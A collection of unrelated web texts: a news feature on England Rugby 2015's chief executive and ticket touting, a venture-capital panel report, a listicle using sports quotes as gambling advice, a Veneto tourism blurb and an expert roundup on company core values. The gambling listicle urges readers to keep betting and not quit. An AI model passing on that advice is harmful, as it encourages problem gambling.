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"I finished on the Friday and started this on the Monday," said the former Locog director of sport, marking a year since she was parachuted in as chief executive of England Rugby 2015 and the two-year countdown to the World Cup itself.
If Jevans was looking for a change of pace from what Lord Coe last week described as an "unrelenting" seven-year build-up to the Olympics and Paralympics, she made the wrong choice.
But the woman as responsible as anyone for helping London to deliver what she has no qualms calling "arguably the best Olympic Games ever" gives the impression sat in her incongruously-modest office in the shadow of Twickenham Stadium that she revels in the pressure of performing the same trick in rugby.
"It'd have been nice to have more sleep to begin with," she joked when discussing the size of the task she inherited after Paul Vaughan was jettisoned over concerns the World Cup would not live up to what had been a smash-hit Olympics. She added more seriously: "I haven't regretted it for one single moment."
Neither has the Rugby Football Union, with Jevans having sprinkled some much-needed London 2012 gold dust into the fabric of the World Cup organising committee.
The formula has been simple: populate the senior management team with fellow Locog veterans. Cynics would call it 'jobs for the boys' but Jevans said: "Why wouldn't I employ the people who just delivered arguably the best Olympics Games ever?"
You could almost hear the same argument being made by RFU chief executive Ian Ritchie upon turning to Jevans, an appointment that might have initially stuck in the throats of those Will Carling once branded the "old farts".
For Jevans, there has not been the merest whiff of sexism since she started. "I'm ultimately an RFU appointment and I'm sitting here as the first female to do this job. Actions often speak louder than words."
They did just that through her work at London 2012, where she was a renowned problem-solver.
That reputation has been further enhanced by what has been thrown at her in her new job, not least in terms of the World Cup match schedule, which was finally unveiled in May after "tough" last-minute negotiations saw her offset the loss of Old Trafford by securing the Olympic Stadium.
One problem, however, is proving even more taxing and could spoil her promise to make the tournament affordable for all – and has even more sinister implications. Jevans has been on something of a crusade to get the unauthorised resale of World Cup tickets banned since she took over but her zeal has so far failed to produce the desired result.
It has long been against the law to sell on tickets for football matches in the UK, while one of the conditions of London being awarded the Olympics and Paralympics was the introduction of similar legislation to cover the Games.
Jevans saw first-hand how that all but eradicated ticket fraud at London 2012, something that makes the International Rugby Board and England Rugby 2015's failure to make similar demands for the World Cup prior to her arrival all the more galling.
"We have worked really hard to make our tickets accessible and have accessible prices," she said, having pledged that those would start at £7. "I don't want them bought up by sophisticated touting operations that mean I then see them on a website the next day for five times as much and price people out of the market."
Software now exists that allows touts to hoover up hundreds of tickets at a time for sporting events, concerts and exhibitions, and the World Cup is likely to be the goose that laid the golden egg.
Indeed, the policeman responsible for ensuring "not one single counterfeit ticket" was sold at London 2012 warned failure to act before the tournament would result in the public being "fleeced" by touts and robbed by the operators of fraudulent websites.
Insisting he was "100 per cent" behind legislation, Detective Superintendent Nick Downing, who headed up the Metropolitan Police's Operation Podium, added: "They are making hundreds of thousands, if not millions, from this type of crime and we've got intelligence that some of these networks are involved in drugs, involved in firearms."
Supt Downing insisted legislation was the only enforceable safeguard against the touts and criminals, while Jevans said: "We'll continue to push until the last possible moment, whatever that may be."
The Department for Culture, Media and Sport is sympathetic to Jevans but the only realistic hope for legislation to be passed before the next election is for police to tell the Home Secretary it is necessary to protect the public.
For now, Jevans has little option but to plough on with England Rugby 2015's current ticketing strategy, which is close to being finalised and will be unveiled at the end of November. It has already been confirmed they will be priced between £7 and £715 — the latter being top whack for the final at Twickenham — in order to fulfil an £80 million revenue pledge to the International Rugby Board.
There will be between 2.3 million and 2.5 million tickets in total, meaning a minimum average price of £32-£35, although most spectators will pay significantly less.
Jevans said: "I want it to be a complete sell-out. In my head, it has to be, because that is one of the things that will be 'success'."
But simply selling tickets was not enough at London 2012, which was dogged by no-shows from non-paying spectators. "What you didn't have were empty seats with people who had actually bought a ticket," said Jevans, who insisted the World Cup matches would not be inundated with invisible hangers-on.
To fill a seat, a ticketholder must first get to the stadium and Jevans admitted the greatest challenge for World Cup organisers was the same as that faced by their London 2012 counterparts. "We've got to the get the transport right. People come, they watch the rugby, they get home safely and they get home quickly."
It seems home is something Jevans is unlikely to see much of in the next two years.


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Words to the Wise When the Exits Are Closed
If you're the CEO of a venture-backed company, what can you do when the exit doors remain closed for IPOs, and the collapse of capital markets has slowed mergers and acquisitions to a trickle?
That may be the question of the hour, or perhaps the year. But preserving your options, and creating new ones, was key to the answers that three venture investors and a San Francisco software company CEO offered yesterday at the Red Herring North America 100 conference in downtown San Diego. John Malloy of BlueRun Ventures in Menlo Park, CA, said he could think of two words that epitomize the situation for many startup ventures. One is constraint, and understanding this is a new world of constraints. The other is optionality. "Remember there are multiple ways to solve a problem," Malloy said. "You certainly shouldn't believe just what your bankers tell you."
Just how startup CEOs can work to maintain their options and generate new ones, of course, was the hard part. But the participants in a panel discussion had a number of decent recommendations, along with some interesting observations. For example:
—It's unclear whether the IPO market will open anytime soon, said Bob Ackerman, co-founder of Palo Alto, CA-based Allegis Capital. "We're in a market where there's a lot of chop, a lot of back and forth," Ackerman said. But the burly venture investor added that mergers and acquisitions activity will likely resume sooner rather than later because "the big companies have pulled in their internal innovation," as a way to cut their costs. "Now they are going to an external innovation model," which means acquiring the startups that have been developing innovative technologies.
—Become extremely efficient. Cash-starved companies are better run, and keeping tight control of operations is crucial to survival. "We tell our companies to get to profitability and you can control your own destiny," said Paul Ferris, a general partner with Azure Capital Partners, which has offices in San Francisco and Menlo Park, CA.
—"We've taken time to get a handle on our metrics," said Brian Gentile, CEO of Jaspersoft, a San Francisco company that develops business intelligence software. "In the downturn, we saw an opportunity to take market share… It wouldn't have been an opportunity, though, if we … Next Page »

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While many athletes will tell you that they do not want to be role models, there is a lot to learn about how they got to where they are. When you think about it, it is truly remarkable that anyone could ever elevate to the level of being a professional athlete. The odds are so stacked against them that it is virtually impossible for it to happen… yet it does.
The world's top athletes overcome these odds because of a number of reasons. First, they obviously have talent. However, many athletes will tell you that there were others more talented than them growing up. So why did they succeed where others don't? Well, that is because the work ethic and studying of their chosen profession can overcome this talent shortcoming. What sets top athletes from good athletes are the extra hours and study sessions. Many of these same lessons can be applied to help anyone go from being a decent gambler, to a great gambler. Below are six lessons that can help any gambler get over that hump.
1. "You miss 100% of the shots you don't take" – Wayne Gretzky. Gambling is all about taking risks to generate a return. No quote has ever exemplified the risk-reward paradigm better than this one. Sure, if you don't take risks, you won't lose money; but that isn't the point of gambling, is it. It is about being willing to risk something to gain something greater. The first hurdle to overcome is the risk. Focus on the reward, and then start to practice about how to maximize it.
2. "If you are afraid of failure, you don't deserve to be successful" – Charles Barkley. Okay, so many the round mound of rebounds isn't the best person to give advice on gambling, but he makes a good point here. If you play scared at the tables, you will get eaten alive. Especially when you are playing against other players at a poker table. Scared money is lost money.
3. "Winning isn't everything, it's the only thing" – Vince Lombardi. Well, Vince wasn't a world class athlete, but he did coach and develop some of the best football players to ever play. His quote put why they play into perspective. Why do you play football? To win. Why do you work? To make money. Why do you gamble? To win money. Simple, basic, straight forward logic. Keep yourself focused on the end prize.
4. "Today I will do what others won't, so tomorrow I can accomplish what others can't" – Jerry Rice. Whereas the other quotes focused on taking chances and not being afraid, this one focuses solely on work ethic and practice. Rice's point is that you have to put in your time at the tables, playing hands and studying strategy and technique. All of that hard work will payoff in the long run.
5. "What do you do with a mistake: recognize it, admit it, learn from it, forget it." – Dean Smith. – The longer you play the more mistakes you are going to make. The trick is to learn from them, without allowing them to haunt you forever. Dean Smith's point is that you should everything is a learning expertise; it just doesn't have to be an albatross.
6. "You are never a loser until you quit trying." – Mike Ditka. That just about sums it up from a gambler's perspective. Trust your instinct and keep firing; you will get a payoff eventually. Quitting won't prove anything.


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Around Venice
The city of Venice Mestre and its surroundings
Veneto.. a particular region famous for its wine and cuisine but also for entertainment and history.
Cities rich in art
The cities of Veneto are jewel cases that preserve precious historical and artistic relics. Our region is a rich land, which is embellished with the enduring stamp of the Serenissima Republic
The Venetian coastline
Every year there are a million tourists who choose to spend their holidays on Venetian beaches. The beaches are long and wide, gently sloping down to the sea. All this guarantees relaxation and entertainment
The Mountains
It is easy to fall in love with our mountains. In the winter, they are a skier's paradise with hundreds of kilometres of slopes for long-distance and downhill skiing. In the summer, the views are the stuff of dreams, making your holiday unforgettable
The Venetian spa
Distance yourself from stress, cure the body and recover the perfect physical form as well as treating yourself a little. Total wellbeing is available in all Venetian thermal spas. Each has its own seductive beauty
The lakes
Paradise for sailing and windsurfing, paragliding and mountain biking, the Venetian lakes also offer interesting scenery and historical and cultural attractions
The parks and the Po Delta
From the mountains to the sea, Veneto boasts six protected nature areas. Lesser known than the more visited tourist destinations, these environments continue to preserve natural wildlife. To be enjoyed in all its peacefulness


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How to Define Your Company's Core Values (37 Experts Share Their Advice)
Great companies aren't just about sales and profit, they also have a clear company identity and stand for something. And I'm not just talking about the external brand or perception of the company, but the identity of a company in its current and true state on the inside.
The word "identity" can get really philosophical, but a simple way to think of a company's identity is its core values. And a company's core values can be described as…
A set of values that the whole organization not only acknowledges in places like the company's website and on a standard company mission statement . . . but also actually lives and breathes through its people, inside and outside of the company.
Let's talk examples.
Take a second and think about all of most successful, "loved" companies in the world today – from big names like Airbnb, Etsy, Salesforce, The Container Store, Adobe and more; the company core values that these top workplaces have given to themselves are what allows them to:
- continually capture and keep loyal customers and clients, and
- attract and retain talented and engaged employees
The next question, then, is how does a company develop and define its core values? Is it something the management team needs weeks and months to strategize around, or is it something that reveals itself organically from a conversation with the CEO and founders? While there is no single "correct" way to develop and define a set of core values for your company, there are some methods and tactics that lots of companies have relied on for their own core values that can serve as useful insight while you're thinking about yours.
To get that insight about defining core values, we asked a panel of 37+ company leaders, CEO's and HR execs their thoughts specifically around this question:
"How do you define your company's core values, and why is it important to do so?"
Below is the advice they shared with us, which range from letting your values define themselves, having your leaders codify your company's core values, and beyond all of that, the importance of defining your company's core values in the first place. There's a lot of information here driven by real experience – use it to your advantage to inform your own company core values!
Brainstorm, group, eliminate.
"Patrick Lencioni, in his classic, The Five Dysfunctions of a Team, quotes an entrepreneur as claiming, If you could get all the people in an organization rowing in the same direction, you could dominate any industry, in any market, against any competition, at any time. The good news is, core values can help you achieve this. The bad news is that in most organizations, if you ask five employees to articulate the company's core values, you get five different answers. Some organizations have not set forth their core values. Other organizations determined their core values years ago, but people and times have changed, so they need a refresh.
Core values guide all your company's decisions. When hiring, let applicants know your organization's values to make sure there is a fit. Assessing for the right skills means your new hires will be able to do the job, but assessing to make sure candidates fit with your organization's core values makes sure everyone is rowing in the same direction.
We like to help our clients determine 3 – 7 core values that matter most. Start by brainstorming a list. Group similar ideas together, eliminating those that are not essential. Through discussion, you'll eventually get to a short, key list. Don't let the boss decree the values for everyone else. In fact, the boss should speak last so as not to guide others' thoughts. If you have an overly agreeable group, make sure they genuinely agree on the core values, and are not just saying yes to maintain group harmony. After you have arrived at your values, don't announce them yet. Come back to them in a month and see if they need any tweaking. Then announce them throughout the organization, and use them in hiring and decision-making."
-Robert E. Lefton, Ph.D., Co-Founder, Chairman & CEO of Psychological Associates
Ask yourself three questions
"Here are three questions to help you identify your company values.
What behaviors will the company value over making a quick buck? In other words, if a team member chooses to honor the core value over making a sale or saving the company some cost of goods sold (COGS)—will they be rewarded and not reprimanded. E.g. Not disclosing a flaw or feature that will not to be that customer's liking.
When is it appropriate to put the needs of the team above those of the customer? In other words, when and how should a customer be fired—before your team quits because of the customer's bad behavior? E.g. If your team spends precious time complaining about a customer at the water cooler, when they should be talking about creative ways to make your company fantastic—what does that say about your core value of team first?
When and how should the success of the team be rewarded as a team, and not unfairly rewarding those who just "appear" to be superstars? E.g. The fantastic service at your company may be why your sales people are killing their quotas—not because of some magical sales powers. And a corollary question, which sub teams should be rewarded for fantastic efforts and when?
Core values can be measured in behaviors. If it's a core value to keep things light and happy, you can absolutely require that behavior. If you need your folks to drop whatever they are doing to handle an irregularity with a client, don't discipline them for missing a perfunctory meeting."
-Jonathan Denn, Chief Thinking Partner at DRUMBEAT Productivity
In the beginning, you don't necessarily need to define them yet
"When a company starts its core values do not need defining because they are embodied in the founders. Once a company is scaling, I insist on having its 3-5 "corest" core values codified publicly online, and privately in a employee guidebook. Annual or quarterly awards recognizing employees who embody core values are a great way to reinforce their importance. The ceremonies and communications for the awards can show how the values are lived out in real operating conditions and give leadership a platform to highlight values that need strengthening.
Defining values is important because they provide guidance for ambiguous scenarios and tough tradeoffs. Their influence on a million daily decisions propels the company towards its mission.
Additionally, They are a beacon for talent that is intrinsically motivated to accomplish your company's goals."
-Paul Bromen, CEO of UponaMattress.com
It naturally comes from your mission
"When I first created my business, it was just me. I was connecting with schools from around the world as well as artists from all corners of the globe. I learned that honesty goes a long way and so does a little bit of fun.
We are on a mission to contribute to the education of thousands of children around the world by providing free educational textbooks. We also work with hundreds of artists from around the world, so it is important that my team understands the big picture every step of the way. Naturally, the company core values are centered on doing good and promoting the arts.
This is only possible if I create a culture of honesty, grace, and fun. My team is growing and the way that I ensure these values remain intact is by allowing team members to make mistakes, fostering their creativity in problem-solving, and encouraging a little bit of fun every step of the way. By creating this safe, relaxed environment, honesty comes naturally and the drive to fulfill our mission becomes inherent. It is perhaps the best business decision I have ever made."
-Diego Orlandini, Founder and CEO aka "Chief Book Giver" of Aimful Books
Developing your values is a collaborative effort
"Defining a company's core values begins with having a clear understanding of an organization's mission statement, as well as establishing among the leadership how to best serve clients, employees and the community. Core values developed through a collaborative effort maximizes the vested interest of all involved, and that buy in is critical. Our core values – we care; we seek the best; we are teachable and growth-oriented; we speak to inspire; and we are bold and go-getters – guide everything we do each day, which has led to our success. It's important to define core values because they become recruiting and retention tools, they define who we are, and they demonstrate to our clients that we are a conscientious company."
-Monte Lee-Wen, President and CEO of The PPA Group
Take steps as an organizational leader to codify them
"Values are the bedrock of a high-performance culture. One of the first things Heather J. Brunner did when she became Chairwoman and CEO of WP Engine in 2013 was to codify the company's organizational values. The company lives by five core values that define who we are and inform our work every day. A physical copy of the company values with everyone's signature hangs proudly on display in every WP Engine office around the world. From the top down, every employee commits to upholding our values from the moment they start. These values distill what success at WP Engine means and provide a sense of common direction for all our employees and inform our day-to-day behavior
One of the reasons why we feel we have been so successful is because our employees, regardless of geography or position all identify, embrace, and act on our values."
-Andy North, Director of Public Relations at WP Engine
Use a bottom-up AND a top-down perspective
"We are very passionate about our core values at GNGF. I found that defining our company's core values worked best once we realized that the effort should come from the perspective of both a bottom-up and top-down view.
For the bottom-up approach, we had the team identify which co-workers they felt were the best exemplars of GNGF and then describe the key attributes of that person. As a group, we put the attributes on the whiteboard and group them into similar categories, getting to about ten groups. Then the hard part started as our goal was to whittle this list down 5 or fewer core values that define how we approach everything we do at GNGF. We had quite a few passionate, yet friendly, debates about what was 'core' to GNGF as we began to start naming and ranking the groupings.
This is where the top-down view becomes important. The core values of the company must also come from the top or they won't last. The founder(s) or executives of the company must do some soul-searching. Strongly agreeing with a core value was pretty easy, but when I strongly disagreed with an attribute there was always a deeper issue. Often, after some self-reflection I realized that I was communicating, often through actions, a value that I didn't feel was the way we wanted to run the company..
With these two approaches, a first 'draft' of core-values was created. But don't let it stop there, we don't just put these up on a wall. We review and challenge them each quarter, read them at in our weekly meetings, create interview questions based on them, and incorporate into onboarding activities.
We do this because I believe that our core values are ultimately what attracts and keeps team members and clients to GNGF. At GNGF, we have a core purpose 'to educate and empower lawyers to grow their business', but that only describes the what. Our core values define how we execute on that purpose. When we have issues with a team member or a client we can almost always tie the issue back to someone deviating from a core value."
-Mark Homer, CEO of GNGF
Agree on your mission first, and the values spring naturally from that
"We're a healthcare technology company that launched in 2014 — a referral community that connects the best healthcare professionals to the best jobs. When we were first developing our company values, I knew I wanted our company to be mission-focused. I strongly believe that when your company is aligned on a shared mission, your values and culture will spring naturally from that mission. For us, we are on a mission to overhaul the staffing industry, setting a new standard of service, value, and innovation.
That phrase forms the core of who we want to become, and so our values were defined from that one, focused statement. For example, our company values are as follows:
* Small victories — sweat every detail and celebrate wins
* Big picture — see the forest and the trees
* Transparency — open communications and a clear mission
* Directness — provide real access at speed
* Understanding — knowledge is power, empathy is key
* Community — a rising tide lifts all boats
* Generosity — make it personal
For our company, clearly defining these values gives not only a vision to rally behind, it preemptively gives us the structure we need to hire better and create a more committed, stronger team. As we've grown our team to include remote team members, it's become more critical than ever that we are aligned with our company values."
-Matt Tant, CEO of Relode.com
Look at your values as a commitment to your people
"In the last 18 months we've developed and launched a brand new strapline ('Serving Happiness') along with six accompanying values.
* Family First
* Celebrate Uniqueness
* Share Your Thoughts
* Make It Count
* Reward Success
* Grow Together
We felt it important to focus first on our people when defining our values, rather than specific business objectives. After all, that is who the values are really for. We see them as a commitment from the business to everyone in it – this is how we want our work environment to be experienced. With six values in total we wanted to encourage growth through rewarding quality, creative thinking and individual and company successes.
It was also important to us to have an overarching statement to encompass our vision and values, therefore we adopted 'Serving Happiness' as our overall strapline. This has multiple layers of meaning – first, serving happiness to each other. But after that, also serving happiness to our clients and their customers to make sure we're meeting key business objectives.
Something we feel really strongly about is making our values aren't just displayed on walls, but are actually lived and experienced. To tackle that, we held groups sessions to discuss how we could best reflect them within the contact centre. As well as using them as themes for all internal communication, events and rewards we decided to introduce a partnership agreement. The idea there is to agree what our commitment is as an employer around each value, what our managers would commit to and then, as the most important point, what our front-end staff would commit to in return. As an example, within our 'grow together' value we would offer opportunities for growth as an employer, managers would encourage individual and team growth and individuals would embrace these opportunities and search out their own. We are very early days into this but are anticipating success."
-Tracy Davies, Chief Engagement Officer of F M Outsource
It's a behavior and a mindset
"At Dropoff, our core values represent what's most important to us as a business and can be translated into the behavior and mindset of each member of the team. It's easy to get caught up with meeting quantitative goals, and it's important to define a set of values that help the business run smoothly. They guide business decisions and ensure you stay true to your identity; inform prospective customers and employees about your company; define what sets you apart from others in the field; and are critical to the long-term growth strategy of any company.
Our core values at Dropoff include:
– Teamwork – Collaboration is essential to success. As a customer service-focused company, we work together to ensure our clients have the best experience.
– Passion – Everyone at Dropoff truly believes in the service we provide and the value it brings. It drives employees to do their best in their roles.
– Creativity – Dropoff was one of the first to modernize the standards of same-day delivery. It took a lot of creativity to build something that hadn't been done before, and we maintain that drive for innovation today.
– Respect – Respecting everyone's ideas, contributions, and hard work helps facilitate an environment all members are proud to be part of.
– Communication – Open dialogue and transparency are critical across the board.
– Fun – It may sound cheesy, but "work hard, play hard" is a big part of our culture. Office lunches, happy hours, community service events, and more foster a sense of community and relationship building outside of business hours.
– Delivery – The deliveries we make are a critical aspect of the business (i.e., ensuring they are on-time, handled with care, etc.). However, delivery is more than physically getting packages from one place to the next; it's executing on projects and committing to doing your best."
-Sean Spector, CEO of Dropoff
The mission is the "why", the values are the "how"
"If an organization's mission statement defines what it does and why, its core values answer the important question of HOW the business plans to achieve its mission.
Red Banyan's five core values are: Results & Responsiveness; Integrity;
Commitment & Can-Do Attitude; Accountability; and Speed.
We are dedicated to achieving results for our clients and always being responsive to their needs. We hold ourselves to the highest standards of integrity and say what we believe, not what others want to hear. We are committed to the success of our clients and are always accountable for our work. Finally, being a public relations agency, Red Banyan moves at the rapid speed of today's news cycle, acting swiftly and strategically..
Our core values play an extremely important role in everything we do. They inform and guide the way our team members interact with everyone, including clients, vendors and each other. Our values are what sets Red Banyan apart from the competition, they help us stay focused on what's important for the success of our business, and serve as a rallying point for our team."
-Evan Nierman, Founder and Principal of Red Banyan
Define them early and make sure they are polarizing
"Companies should define core values early and use them as a framework when hiring employees and making decisions. In my experience, people tend to pick feel good values that nobody disagrees with. But I believe your values must be polarizing in order to really draw people to your company (and segment out those who will not be a fit).
For example, Bridgewater Associates, the Connecticut-based hedge fund, has a value of Radical Transparency. For some people, having coworkers openly criticize them to their face shows horrible. And to others, it's a great way to avoid politics or other bad habits. Having these values with bite makes people stop and consider what they truly believe in.
When starting a company, I think the founder(s) should work to develop the core values. The high level values should stay firm, although the specifics should be readdressed as the company scales (both in terms of customers and headcount)."
-Safa Mahzari, Founder & CEO of Alluxo Inc.
Think of values as a drumbeat and mutual goal
"We spent a lot of time distilling our core values. Essentially, they keep us aligned as a group of individuals working towards a mutual goal. They keep everyone marching to the beat of the same drum.
Then we created a declaration which identifies our set of core values. These are important to us for five main reasons:
They clearly communicate what we care about, both as individuals at work and collectively as a company. This helps guide our work, decisions, teaming, communications, alignment, hiring, and investments.
They build our workplace culture. By understanding who we are, what's important to us, and what we like to achieve together, we can make Jostle a more vibrant workplace for everyone.
They brings us together. Although we each have our quirks and unique views on the world, the declaration unites and aligns us behind common goals and our purpose.
They introduce us to customers, prospects, future Jostlers, investors, and other external stakeholders. It publicly declares what we're all about and provides a transparent and aligned foundation for our external brand.
They provide a strong base to efficiently carry out our relentless pursuit of innovation, exploration, and expansion."
-Brad Palmer, CEO and Co-Founder of Jostle
Your senior management is already defining them, whether you realize it or not
"Company core values are defined by the senior management in their daily work and how they treat clients and customers. If you go the extra mile for your employees and your customers without regard to the profitability of a specific action, everyone will become aware. If you pinch every penny in regards to your employees and customers disregarding their needs in favor of profit, everyone will quickly know that.
Once you as the CEO decide what you want your company to be, and live it. Everyday. Every opportunity. Every situation. It is like raising a child. You must be consistent.
My company does payroll for small and medium businesses around the country. It has to be right and on time. Our customer service level has to be perfect all the time. Outside influences like the IRS, States, the government, banks, the weather, delivery services create enough problems for our clients without us making mistakes. Every payroll is done the way I would do it. Every payroll is done exactly like a CPA was doing it. The customer must get their payroll right and on time, regardless.
It is so easy not to do that. But everyone knows at my firm that is what happens. Everybody lives it. Whatever it takes to make that happen happens! Every employee knows that they are authorized to do what is necessary to make it happen, and if they don't there will be consequences.
It is ingrained in them by everyone from me on down. We live our work lives by it. It makes life at work, work for us. We develop procedures and policy based on that attitude. Everything we do is driven by that core value. It is that important."
-Charles Read, President/CEO of GetPayroll
Your values are in the decisions you are already making
"At Datica – we didn't sit down and 'choose' our values, but instead looked deeply at all the decisions and interactions with customers and employees to find underlying trends, motivators and meaning behind decisions. Values were less about what we do every day, and more about why we do those things. Providing an employee honest feedback about his or her performance is one example. When you look deeper, it's not about what specifically what you said in the meeting, but being honest and open about people's actions and outcomes. Transparency is a clear value in that context – choosing 'transparency' as a core value is simply recognizing that honesty and openness about things, as much as possible, is a good way to make decisions. Trust is another core value that was a clear winner, as acting with trust in others puts us all on the same page."
-Maggie Ostrowski, Director of Human Resources at Datica
It's similar to branding, but on the inside
"Deriving your venture's core values is essential to formulating a strong brand from within. Imagine your core values being displayed beautifully in your company's lobby: Your team will see them every day and it should engage and inspire them. At the same time, clients and shareholders should be able to read and be in agreement with, your core values actually representing, and serving, your brand well. They need to resonate across the board. I advise keeping those value-statements to three very short and actionable sentences.
But, core values are meaningless if they are not intrinsically used by everyone within the organization.
I recommend embodying your core values the same way I would recommend youprepare for a very important presentation: Once you have the presentation deck done, the speaker notes inserted, and you start practicing, you will realize that the more you practice, the more you embody the content and overall spirit. The day of the presentation you will notice that you fully embody the content, to the extent that you could hold a successful speech even if a major electricity outage hit – in candlelight, without slides, without speaker notes – because you are *living the content.*
Treat your core values the same way: Try assigning one of your new brand's three core values to each day of the work week, then make it your goal to do something each day that turns the words of one core value into action. It might be a project scope document and you decide to *question the status quo* and try to turn it into a better product. It might be *actively doing good* and *being the example* by staying late to help a co-worker meet her deadline."
-Fabian Geyrhalter, Principal of FINIEN, Author of "Bigger Than This – How to turn any venture into an admired brand"
In order to work your values need buy-in, so include your personnel
"Building Company Values: Too many times, company leaders will sit in a room and make values they think work for their company. As we've grown from three to 17 employees, we've found that doesn't work. We build our company's values according to our personnel. As a result, our leaders have the same values as our team members.
When communicating our company values, we also demonstrate what our leaders will do to support that value so it rings true. For example, one of our core values is Respect. In order to hold all team members accountable for this value, we do the following:
-Respect the talents and experience of our team members
-Ensure an open environment to report wrongdoings or address meaningful situations
-Respect everyone's insight while fostering an environment that allows for people to ask for help
-Build a standard of development through constructive feedback and motivation, and be clear with progress
If leaders take into account who their team members are when building company values and then create action steps to create buy-in, a company's values will be more meaningful."
-Donna Gray, CEO of Matchbook Creative
Think of them as guidelines "to hire and fire by"
"Last year, we defined core values for our company. We hoped these would work as a set of guidelines–values to hire and fire by. More than anything, we wanted to put our company culture into words, for our current team and those applying to our company. Knowing our core values helps us pinpoint specific goals, and our team has a solid understanding of our mission. We defined our values through the acronym, G.A.R.D.E.N., since we are focused on positive growth."
-Shawn Rubel, Founder/CEO of Vecteezy
It's an act of soul searching and mission finding
"As a small business owner, I believe the values of your company are more important than your success and profits. To define our values, I had to do some soul searching and figure out why I started my company in the first place. When you get busy running your business, you might forget your purpose, and this way, your core values get lost. I have defined my company's values by figuring out my purpose in life. What I found out is that at the core of our values is taking care of people.
We are not medical professionals, but we still look after and care for our clients. We strive to help them when they are mistreated at their jobs and we try to keep their personal lives as smooth as possible. We know that most of our clients are unfamiliar with legal options and the laws that are present, so we feel that we owe a service with our knowledge.
When our workers and other customers see how we tend to our clients, business improves and relations flourish. A company that lacks values will eventually fall apart internally and clients will see through it.
It is important that you define and carry out the values of your company: doing so will command respect from everyone, including yourself. Your values should be showcased through actions."
-Jesse Harrison, Founder and CEO of the Employee Justice Legal Team
Your employees' ethics is where it all starts
"Our company's core values came from each one of our employees' integrity and desire to do ethical business. All we needed to do was set the stage for them to grow. Before this can happen though, you need to make sure to do two things as a business leader:
- *Anchor Yourself First*: Before your business can become both ethical and successful, you will be pulled and pushed all over the place by the various challenges of new businesses. You're going to see opportunities for more money if you just 'bend the rules a bit.' You need to be well-anchored in some aspect in your life other than in business in order to stand firm in the face of ethical decisions. Whether your anchor is community service, religion, sports, or family, you need to have some part of your life that will hold you down when business starts throwing you around.
- *Surround Yourself with Challengers*: There's nothing more damaging to the good ethics of your business than surrounding yourself with yes-men. You need people by your side that are not afraid to challenge and test your decisions. Business leaders who cross ethical boundaries rarely do so out of a desire to be a bad person. Usually, there is some justification involved. This justification can be avoided by surrounding yourself with people who will call you out when you make a judgment error. There is a fine line between insubordination and constructive criticism, and we are too often afraid of the former to attempt the latter; this is a mistake that will lead your company directly into unethical business practices."
-Landon Taylor, CEO and Co-Founder of BestCompany.com
Values evolve from existing behavior
"As first-time company founders, our company's core values have evolved over time. We define values based on the reality of existing behaviour, rather than trying to 'invent' new behaviour in a naive way. The way we implemented values was to describe what we already do, rather than writing out how we would like to be.
Core values are important because they drive the external reality of your company. Internal values drive employee behaviour. Employee behaviour drives external output. External output drives brand experiences. Culture and brand are two sides of the same coin."
-Felix Winstone, CEO of Talkative
Make it an exercise that everyone is involved with
"How do we choose our company's core values? Many years ago, when the team was still small – 4 people including our founder Masami Sato – she asked the entire team to sit down together and throw out a full list of items that we would like to see within the team and that we believe are important to help our team do our work most effectively. We came up with something like 57 different words and values, and went through an exercise of grouping similar concepts together and shortlisting those that really stood out – values that we couldn't live and work without, values that we really want new team members to embrace.
After a couple more reviews and some creativity, Masami put together this list of 6 values and arranged them ingeniously into the acronym, DOCARE:
-DESIRE TO IMPROVE — Each time, improve something.
-OPEN-MINDEDNESS — Be open to new ideas and change.
-COURAGE — Tackle difficult tasks. Stay integral.
-ACCOUNTABILITY — Deliver on promise with no excuse.
-RESPECT — Find best solutions with respect for others.
-ENJOYMENT — Find ways to enjoy every task.
Not only is it easy to remember – which is important because we want everyone in B1G1 to know the values by heart – it's ingenious because the acronym itself speaks of what B1G1 is about! We do what we do because we care and want to make the world a better place. 🙂
Why is DOCARE important for us?
Despite having global presence and operations, we have a relatively small team. In a small team, every individual's energy changes the team dynamics so much. Having shared values and a common caring spirit helps make the team even more effective in encouraging each other, and encouraging our members to care about the world. It truly defines everything we do in the company and what the company exists to achieve.
In fact, they're so important that the values also apply to our remote technical team, outsourced contractors, and student interns. We'd love everybody who is involved in the world of B1G1 to truly enjoy working with each other and to give of themselves generously. To us, that's the everyday difference we make as a company."
-Sharon Chan, Strategy Development Manager of B1G1
Your values connect to your team AND your customers
"It's important to me that our values as a company reflected two things: the values of our customers and, simple as it may sound, our values of being a helpful team. Values mean nothing unless they are stated, embodied, and lived, which is actually a significant commitment. When you choose a value, you need to make sure that it's something you can literally live with and be every single day — ideally long before you walk into the office and long after you leave.
When we chose "Stress Less, Grow More", that was something that was important to our customers. They obviously wanted to have the opportunity to grow without stress. But as people and as a culture, we value calm, unstressed decision making even in the face of pressure. We also value constant improvement and growth. So our motto and our values were chosen to reflect who we are as people and how we can add value to our customers."
-Jan Bednar, CEO of ShipMonk
Think about what your employees actually want
"Business owners should craft their core company values by evaluating what their employees actually want. Over the past 20 years in business — and in building PostcardMania to 200+ staff — we've discovered that employees don't merely want a clock-in-clock-out job. They want a purpose and a group to belong to! So ask your current team members what makes working at your business MORE than just a job — aka, why do they continue to work for you besides because they're obviously receiving a paycheck? Answer those questions, and you'll create core values — and a company culture — worth hustling for!"
-Joy Gendusa, the Founder/CEO of PostcardMania
It's a mix of personal values (of the leaders) and how you want the company to be
"How we chose Outlaw's core value came in 2 parts. The first being that they aligned with the personal values of both my co-founder and myself, and so it was the natural way to go. We then chose them through constant, open and honest conversations about what was important to us and how we wanted Outlaw to be. These core values were then fixed once we reached a mutual agreement.
We define these core values by embedding them into everything we do, even in our product itself (as described in my previous email). For example, one of Outlaw's core values was a zero emergency culture, because we realized how easy it is in a startup to feel like everything is an emergency all the time, and that could lead to burnout. So we defined that value into our company's mantra: It's not a sprint; it's a marathon! So while we are still moving incredibly fast, we're not freaking out if we're not immediately featured on the cover of Fast Company. We'll get there!"
-Evan Schneyer, CEO & Co-Founder of Outlaw Inc.
Think of what makes you special
"At RingPartner, we defined our core values with the goal of having meaningful, transparent, and tangible concepts that could lead our team through challenges and wins. To begin the process, we gathered input from major stakeholders on what they considered to be the virtues and values of the company. Questions we considered include: What makes the RingPartner culture special? What type of people do we love to recruit? What attitudes and behaviors shine the most at RingPartner? How do we elevate our peers? Feedback to these types of questions was pulled into a master list, which was whittled down to four common themes that eventually were transformed into succinct phrases: Raise the Tide, Drive Forward, Be Courageous, and Be REDiculous.
